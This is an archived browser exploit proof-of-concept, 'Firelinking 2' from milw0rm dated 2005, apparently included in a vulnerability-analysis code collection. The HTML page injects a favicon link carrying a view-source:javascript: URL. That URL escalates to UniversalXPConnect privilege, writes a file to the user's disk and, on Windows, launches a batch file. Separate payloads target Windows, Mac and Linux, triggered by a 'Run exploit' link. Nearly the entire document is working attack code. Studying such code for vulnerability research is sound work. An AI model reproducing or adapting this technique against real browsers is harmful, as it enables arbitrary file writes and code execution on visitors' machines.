lilbool/vuln-code-analysis

1<html>

2<head>

3<title>Firelinking 2 - Proof-of-Concept by mikx</title>

4

5<-- This PoC is cross platform : On Windows this example creates the file -->

6<-- c:\booom.bat and launches it (opens a dos box with a dir command). On -->

7<-- Linux (tested Fedora Core) and MacOSX the example creates the file -->

8<-- ~/booom.txt or /booom.txt. Depending on caching the the script might -->

9<-- run twice in some cases (this will create an additional booom-1.txt). -->

10

11<link rel="SHORTCUT ICON" href="favicon.ico"> 

12<script language="JavaScript" type="text/javascript">

13var pf = navigator.platform.toLowerCase();

14if (pf.indexOf("win") != -1) {

15var os = "win";

16} else if (pf.indexOf("mac") != -1) {

17var os = "mac";

18} else {

19var os = "linux"

20}

21function runDemo() {

22// this is an ugly caching workaround

23document.getElementById('outhtml').innerHTML = "";

24document.getElementById('outhtml').innerHTML += document.getElementById('clearhtml').value

25document.getElementById('outhtml').innerHTML += document.getElementById('clearhtml').value

26document.getElementById('outhtml').innerHTML += document.getElementById('clearhtml').value

27window.setTimeout("document.getElementById('outhtml').innerHTML += 

28document.getElementById('linkhtml_"+os+"').value",300);

29} 

30</script>

31</head>

32<body>

33<div style="font-family:Verdana;font-size:11px;">

34

35<div style="font-family:Verdana;font-size:15px;font-weight:bold;">Firelinking 2 - Proof-of-Concept</div>

36<br><br>

37<div style="width:600px">

38<div id="outhtml" style="display:none"></div>

39

40<textarea id="clearhtml" style="display:none">

41<link rel="SHORTCUT ICON" href="favicon.ico">

42&lt;/textarea&gt;

43

44<textarea id="linkhtml_win" style="display:none">

45<link rel="SHORTCUT ICON" href="view-source:javascript:delayedOpenWindow('

46javascript:netscape.security.PrivilegeManager.enablePrivilege(\'UniversalXPConnect\');

47file=Components.classes[\'@mozilla.org/file/local;1\'].createInstance(Components.interfaces.

48nsILocalFile);file.initWithPath(\'c:\\\\booom.bat\');file.createUnique(Components.interfaces.

49nsIFile.NORMAL_FILE_TYPE,420);outputStream=Components.classes[\'@mozilla.org/network/

50file-output-stream;1\'].createInstance(Components.interfaces.nsIFileOutputStream);

51outputStream.init(file,0x04|0x08|0x20,420,0);output=\'@ECHO OFF\\n:BEGIN\\nCLS\\nDIR\\n

52PAUSE\\n:END\';outputStream.write(output,output.length);outputStream.close();file.launch();','','')">

53&lt;/textarea&gt;

54

55<textarea id="linkhtml_mac" style="display:none">

56<link rel="SHORTCUT ICON" href="view-source:javascript:delayedOpenWindow('javascript:

57netscape.security.PrivilegeManager.enablePrivilege(\'UniversalXPConnect\');file=Components.

58classes[\'@mozilla.org/file/local;1\'].createInstance(Components.interfaces.nsILocalFile);

59file.initWithPath(\'/booom.txt\');file.createUnique(Components.interfaces.nsIFile.

60NORMAL_FILE_TYPE,420);outputStream=Components.classes[\'@mozilla.org/network/

61file-output-stream;1\'].createInstance(Components.interfaces.nsIFileOutputStream);

62outputStream.init(file,0x04|0x08|0x20,420,0);output=\'booom!\';outputStream.write

63(output,output.length);outputStream.close();','','')">

64&lt;/textarea&gt;

65

66<textarea id="linkhtml_linux" style="display:none">

67<link rel="SHORTCUT ICON" href="view-source:javascript:delayedOpenWindow('javascript:

68netscape.security.PrivilegeManager.enablePrivilege(\'UniversalXPConnect\');file=Components.

69classes[\'@mozilla.org/file/local;1\'].createInstance(Components.interfaces.nsILocalFile);file.

70initWithPath(\'~/booom.txt\');file.createUnique(Components.interfaces.nsIFile.

71NORMAL_FILE_TYPE,420);outputStream=Components.classes[\'@mozilla.org/network/

72file-output-stream;1\'].createInstance(Components.interfaces.nsIFileOutputStream);

73outputStream.init(file,0x04|0x08|0x20,420,0);output=\'booom!\';outputStream.write

74(output,output.length);outputStream.close();','','')">

75&lt;/textarea&gt;

76<br><br>

77<a href="#" onclick="runDemo();runDemo();">Run exploit</a>

78</div>

79</body>

80</html>

81

82# milw0rm.com [2005-05-21]